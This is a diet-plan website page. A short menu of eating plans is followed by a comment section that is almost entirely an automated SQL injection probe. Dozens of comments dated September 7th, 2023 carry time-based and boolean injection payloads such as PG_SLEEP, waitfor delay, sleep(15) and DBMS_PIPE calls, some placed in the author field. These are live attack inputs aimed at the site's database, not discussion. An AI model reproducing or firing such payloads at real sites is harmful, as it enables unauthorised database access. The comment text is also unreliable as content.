Facts About Weight Loss



home > Diet Plans

Eating Plans

We try to give you a look at many of the major eating plans and examine the pros and cons and effectiveness of each plan. There are also recommended books and videos if you choose to explore them in more detail. Please give your feedback if you have tried any of these plans.

 

Paleo

Raw

80/10/10

Weight Watchers

Gluten Free

Very Low Calorie Diets

Bulletproof Diet

Low Carb

Keto

Nutrition Resources

 

How to choose a commercial diet plan

 

 

Have you tried any of these diet plans?
Paleo
Weight Watchers
Raw
Gluten free
Atkins

Tell us what has worked for you and what was a waste of time-

Diet Plan comments

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Posted by zFPWdwPk on Sep 7th, 2023
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Posted by zFPWdwPk on Sep 7th, 2023
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Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3+824-824-1=0+0+0+1
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3*2>(0+5+824-824)
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 2+388-388-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3+388-388-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2>(0+5+388-388) --
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 2+598-598-1=0+0+0+1 or '20Xktb5T'='
Posted by zFPWdwPk on Sep 7th, 2023
-5) OR 486=(SELECT 486 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3+598-598-1=0+0+0+1 or '20Xktb5T'='
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
1 waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2>(0+5+598-598) or '20Xktb5T'='
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 2+249-249-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 3+249-249-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 3*2>(0+5+249-249) --
Posted by zFPWdwPk on Sep 7th, 2023
-1)) OR 457=(SELECT 457 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
ugVhQgQR'; waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
if(now()=sysdate(),sleep(15),0)
Posted by zFPWdwPk on Sep 7th, 2023
YqsFdDrx' OR 875=(SELECT 875 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-5 OR 653=(SELECT 653 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Posted by zFPWdwPk on Sep 7th, 2023
xUnq6Ipk') OR 82=(SELECT 82 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-5) OR 330=(SELECT 330 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Posted by zFPWdwPk on Sep 7th, 2023
uGMasfgc')) OR 114=(SELECT 114 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-1)) OR 332=(SELECT 332 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Posted by zFPWdwPk on Sep 7th, 2023
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Posted by zFPWdwPk on Sep 7th, 2023
ENYFFUyh' OR 971=(SELECT 971 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-1; waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Posted by zFPWdwPk on Sep 7th, 2023
1'"
Posted by zFPWdwPk on Sep 7th, 2023
1????%2527%2522
Posted by zFPWdwPk on Sep 7th, 2023
@@bUY0S
Posted by zFPWdwPk on Sep 7th, 2023
CBEfE03d') OR 772=(SELECT 772 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-1); waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
obRZZEtx')) OR 736=(SELECT 736 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
1 waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Posted by zFPWdwPk on Sep 7th, 2023
RTcubv6h'; waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Posted by zFPWdwPk on Sep 7th, 2023
1'"
Posted by zFPWdwPk on Sep 7th, 2023
1????%2527%2522
Posted by zFPWdwPk on Sep 7th, 2023
@@jMFSC
Posted by zFPWdwPk on Sep 7th, 2023
-5 OR 83=(SELECT 83 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
-5) OR 669=(SELECT 669 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 2+112-112-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3+112-112-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3*2>(0+5+112-112) --
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 2+368-368-1=0+0+0+1
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3+368-368-1=0+0+0+1
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1 OR 3*2>(0+5+368-368)
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 2+703-703-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1)) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3+703-703-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2>(0+5+703-703) --
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 2+53-53-1=0+0+0+1 or '2xu5aArN'='
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3+53-53-1=0+0+0+1 or '2xu5aArN'='
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2>(0+5+53-53) or '2xu5aArN'='
Posted by zFPWdwPk on Sep 7th, 2023
-1' OR 3*2>(0+5+53-53) or '2xu5aArN'='
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 2+854-854-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 3+854-854-1=0+0+0+1 --
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 3*2
Posted by zFPWdwPk on Sep 7th, 2023
-1" OR 3*2>(0+5+854-854) --
Posted by zFPWdwPk on Sep 7th, 2023
DZWdoZZn' OR 204=(SELECT 204 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
if(now()=sysdate(),sleep(15),0)
Posted by zFPWdwPk on Sep 7th, 2023
asHbqapb') OR 617=(SELECT 617 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Posted by zFPWdwPk on Sep 7th, 2023
xnTIQRvK')) OR 453=(SELECT 453 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
0'XOR(if(now()=sysdate(),sleep(13.174),0))XOR'Z
Posted by zFPWdwPk on Sep 7th, 2023
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
1
Posted by zFPWdwPk on Sep 7th, 2023
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Posted by zFPWdwPk on Sep 7th, 2023
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Posted by zFPWdwPk on Sep 7th, 2023
1'"
Posted by zFPWdwPk on Sep 7th, 2023
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Posted by zFPWdwPk on Sep 7th, 2023
@@sjicM
Posted by zFPWdwPk on Sep 7th, 2023
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
-1; waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
-1); waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
1 waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
3xxSL8xm'; waitfor delay '0:0:15' --
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by -1 OR 2+420-420-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1 OR 3+420-420-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1 OR 3*2 on Sep 7th, 2023
555
Posted by -1 OR 3*2>(0+5+420-420) -- on Sep 7th, 2023
555
Posted by -1 OR 2+627-627-1=0+0+0+1 on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
-5 OR 205=(SELECT 205 FROM PG_SLEEP(15))--
Posted by -1 OR 3+627-627-1=0+0+0+1 on Sep 7th, 2023
555
Posted by -1 OR 3*2 on Sep 7th, 2023
555
Posted by -1 OR 3*2>(0+5+627-627) on Sep 7th, 2023
555
Posted by -1' OR 2+238-238-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1' OR 3+238-238-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1' OR 3*2 on Sep 7th, 2023
555
Posted by -1' OR 3*2>(0+5+238-238) -- on Sep 7th, 2023
555
Posted by if(now()=sysdate(),sleep(15),0) on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
-1)) OR 83=(SELECT 83 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
kMw7253P' OR 522=(SELECT 522 FROM PG_SLEEP(15))--
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by -1 OR 2+411-411-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1 OR 3+411-411-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1 OR 3*2 on Sep 7th, 2023
555
Posted by -1 OR 3*2>(0+5+411-411) -- on Sep 7th, 2023
555
Posted by -1 OR 2+558-558-1=0+0+0+1 on Sep 7th, 2023
555
Posted by -1 OR 3+558-558-1=0+0+0+1 on Sep 7th, 2023
555
Posted by -1 OR 3*2 on Sep 7th, 2023
555
Posted by 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z on Sep 7th, 2023
555
Posted by -1 OR 3*2>(0+5+558-558) on Sep 7th, 2023
555
Posted by -1' OR 2+420-420-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1' OR 3+420-420-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
n4d47AYP') OR 807=(SELECT 807 FROM PG_SLEEP(15))--
Posted by -1' OR 3*2 on Sep 7th, 2023
555
Posted by -1' OR 3*2>(0+5+420-420) -- on Sep 7th, 2023
555
Posted by -1' OR 2+162-162-1=0+0+0+1 or 'OxryISpd'=' on Sep 7th, 2023
555
Posted by -1' OR 3+162-162-1=0+0+0+1 or 'OxryISpd'=' on Sep 7th, 2023
555
Posted by -1' OR 3*2 on Sep 7th, 2023
555
Posted by -1' OR 3*2>(0+5+162-162) or 'OxryISpd'=' on Sep 7th, 2023
555
Posted by -1" OR 2+548-548-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1" OR 3+548-548-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1" OR 3*2 on Sep 7th, 2023
555
Posted by -1" OR 3*2>(0+5+548-548) -- on Sep 7th, 2023
555
Posted by (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select( on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
XLvoOvc4')) OR 46=(SELECT 46 FROM PG_SLEEP(15))--
Posted by if(now()=sysdate(),sleep(15),0) on Sep 7th, 2023
555
Posted by 1 waitfor delay '0:0:15' -- on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Posted by 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z on Sep 7th, 2023
555
Posted by b2ZTM1aH'; waitfor delay '0:0:15' -- on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Posted by zFPWdwPk on Sep 7th, 2023
1'"
Posted by zFPWdwPk on Sep 7th, 2023
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Posted by zFPWdwPk on Sep 7th, 2023
@@TMcba
Posted by 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z on Sep 7th, 2023
555
Posted by 9bk5CmRZ' OR 798=(SELECT 798 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select( on Sep 7th, 2023
555
Posted by 38aDc41q') OR 926=(SELECT 926 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by zFPWdwPk on Sep 7th, 2023
555
Posted by -1 OR 2+903-903-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1 OR 3+903-903-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1 OR 3*2 on Sep 7th, 2023
555
Posted by -1 OR 3*2>(0+5+903-903) -- on Sep 7th, 2023
555
Posted by 1 waitfor delay '0:0:15' -- on Sep 7th, 2023
555
Posted by -1 OR 2+111-111-1=0+0+0+1 on Sep 7th, 2023
555
Posted by -1 OR 3+111-111-1=0+0+0+1 on Sep 7th, 2023
555
Posted by IwY0jkI1')) OR 250=(SELECT 250 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by -1 OR 3*2 on Sep 7th, 2023
555
Posted by -1 OR 3*2>(0+5+111-111) on Sep 7th, 2023
555
Posted by -1' OR 2+50-50-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1' OR 3+50-50-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1' OR 3*2 on Sep 7th, 2023
555
Posted by -1' OR 3*2>(0+5+50-50) -- on Sep 7th, 2023
555
Posted by -1' OR 2+164-164-1=0+0+0+1 or '6y5rFJ8N'=' on Sep 7th, 2023
555
Posted by -1' OR 3+164-164-1=0+0+0+1 or '6y5rFJ8N'=' on Sep 7th, 2023
555
Posted by -1' OR 3*2 on Sep 7th, 2023
555
Posted by -1' OR 3*2>(0+5+164-164) or '6y5rFJ8N'=' on Sep 7th, 2023
555
Posted by 2Qeje6ks'; waitfor delay '0:0:15' -- on Sep 7th, 2023
555
Posted by -1" OR 2+75-75-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by -1" OR 3+75-75-1=0+0+0+1 -- on Sep 7th, 2023
555
Posted by zFPWdwPk'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' on Sep 7th, 2023
555
Posted by -1" OR 3*2 on Sep 7th, 2023
555
Posted by 1'" on Sep 7th, 2023
555
Posted by -1" OR 3*2>(0+5+75-75) -- on Sep 7th, 2023
555
Posted by 1????%2527%2522 on Sep 7th, 2023
555
Posted by @@lOQ6v on Sep 7th, 2023
555
Posted by NPX0tDm8' OR 199=(SELECT 199 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by if(now()=sysdate(),sleep(15),0) on Sep 7th, 2023
555
Posted by clxpHovm') OR 868=(SELECT 868 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z on Sep 7th, 2023
555
Posted by g0XMFqKc')) OR 236=(SELECT 236 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z on Sep 7th, 2023
555
Posted by zFPWdwPk'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' on Sep 7th, 2023
555
Posted by 1'" on Sep 7th, 2023
555
Posted by 1????%2527%2522 on Sep 7th, 2023
555
Posted by @@bWLrg on Sep 7th, 2023
555
Posted by (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select( on Sep 7th, 2023
555
Posted by 1 waitfor delay '0:0:15' -- on Sep 7th, 2023
555
Posted by ph9i4ZO3'; waitfor delay '0:0:15' -- on Sep 7th, 2023
555
Posted by db4AMnDE' OR 626=(SELECT 626 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by XCa7UmVc') OR 747=(SELECT 747 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by HPdQsdY3')) OR 977=(SELECT 977 FROM PG_SLEEP(15))-- on Sep 7th, 2023
555
Posted by zFPWdwPk'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' on Sep 7th, 2023
555
Posted by 1'" on Sep 7th, 2023
555
Posted by 1????%2527%2522 on Sep 7th, 2023
555
Posted by @@zLYc7 on Sep 7th, 2023
555
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